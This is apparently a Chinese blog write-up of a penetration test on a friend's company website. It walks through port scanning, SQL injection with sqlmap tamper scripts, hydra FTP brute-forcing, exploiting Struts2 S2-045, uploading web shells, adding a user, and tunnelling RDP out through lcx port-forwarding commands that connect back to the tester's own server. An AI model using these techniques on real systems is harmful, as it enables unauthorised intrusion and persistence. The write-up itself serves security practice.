0x00 前言
前几天朋友叫我帮忙测试一下他公司的站点,由于他是苦逼开发狗,本身公司又没有做安全部门,所以他兼顾了开发与安全测试,便有了以下的文章。
0x01 信息探测
目标:www.xxx.com
首先多地ping一下看是否存在cdn
都是同一个ip看来并不存在cdn 或许是朋友为了方便我测试而把cdn撤掉了..
既然没有cnd那就直接就这个ip来进行探测,首先扫描一下端口,由于存在防火墙这里并不能用全连接扫描,我们用半开扫描且加上了代理池,这里我用我自己写的py脚本进行。
开放了一千多个端口... 我一度怀疑这是他故意开放来混淆或者整个服务器就是个蜜罐。
由于我这个脚本并没有服务版本识别,所以这里需要借助nmap来识别端口服务。
现在我们来总结一下端口服务的信息:
FTP端口大概开十个,很可能是各个部门的ftp空间。
3389与及数据库的端口都没发现,
Web服务的端口有五个。
Web的信息收集。
服务器为win,web容器有apace与及iis6.0和iis8.5很可能是win2008.
Web的cms识别一下
并没有结果,进行目录扫描
似乎找到了后台
0x02渗透阶段
由于扫描会被防火墙ban掉,我手测了漫长的时间后,终于找到了一处注入,内心想这次还不拿下了?
但事情没有我想的那么简单... 如下图
Access的数据库极其不友好 ,一张表都跑不出来!
PS:sqlmap做了代理池与及加了base64encode.py,charunicodeencode.py。
Access的数据库并不支持os-shell,而且我没办法爆破绝对路径所以sql写shell的路也被塞死了。
存在反射型xss。
由于没有留言审核等等功能,qq联系方式也没有,并且网站管理员很可能是我朋友,所以社工欺骗让他点击的可能性极低,故放弃此路。
故而转向其他端口的web程序,20440端口发现存在一个企业短信的平台
谷歌并没有发现相关0day 目录扫描也没存在有用的文件,不过验证码是简单的数字,可以用py识别用来fuzz爆破,并且考虑我朋友是管理员的可能性,可以有针对性的生成字典进行爆破。
还有那十多个ftp端口也可以用此字典来爆破,ftp我选择用hydra来爆破如下图:
其中-s参数为指定端口 -L为指定用户名文件 -P为指定密码文件
然而爆破了大半天还是没有任何结果。
这时候我把目光放在了第三个web程序上,看起来像是一个未完成的test样品网站。
在这个web上我在某一连接上找到了sql注入。
不出所料依然还是Access的数据库,希望能跑出表
令人开心的是这次跑出了一个admin表,我顿时兴奋了起来。
终于拿到账号密码,心想找到后台的话,登陆getshell还不很舒服,然后我拿出了我3w字典,并没有扫出任何关于后台的目录...
但是机智如我发现了一些规律比如说这是产品的目录
这是技术支持的目录
这是新闻的目录
然后仅过了漫长的测试,终于找到了后台。如下图
够中式...
然后开开心登陆,这回应该没啥问题了。然而
后台居然登陆不上去???我内心一度怀疑人生。
但我在某一页面的注释上发现了一个github的地址
跟进去找到了一些网站建设规划,与及这个网站的mdb文件,我估计是我朋友的上司开发的这个cms,首先看看mdb文件
账号密码跟我注入得到的是一样的,所以的确是该cms的后台坏掉了。
但是我在网站建设规划中发现了这台服务器不仅仅是他们公司的对外的官网服务器,而且还是对内自己开发测试的服务器,在20549端口中我用st2-045拿到了权限,并且上传了一句话和大马,尝试连接3389。
然而事情没有我想的那么简单,首先3389端口是开放的。
添加用户也可以成功。
但是3389 连不上。
考虑是内网等等,所以用lcx转发。
目标机器执行lcx1.exe -slave 自己服务器的公网ip 接受数据的端口 本机ip 要转发的端口
公网服务器上执行lcx1 -listen 接受数据的端口 本机映射的端口
已经成功接收到数据
远程连接本地转发端口即可
0x03总结
心细最重要,不放过任何一丝一毫的信息。
共勉。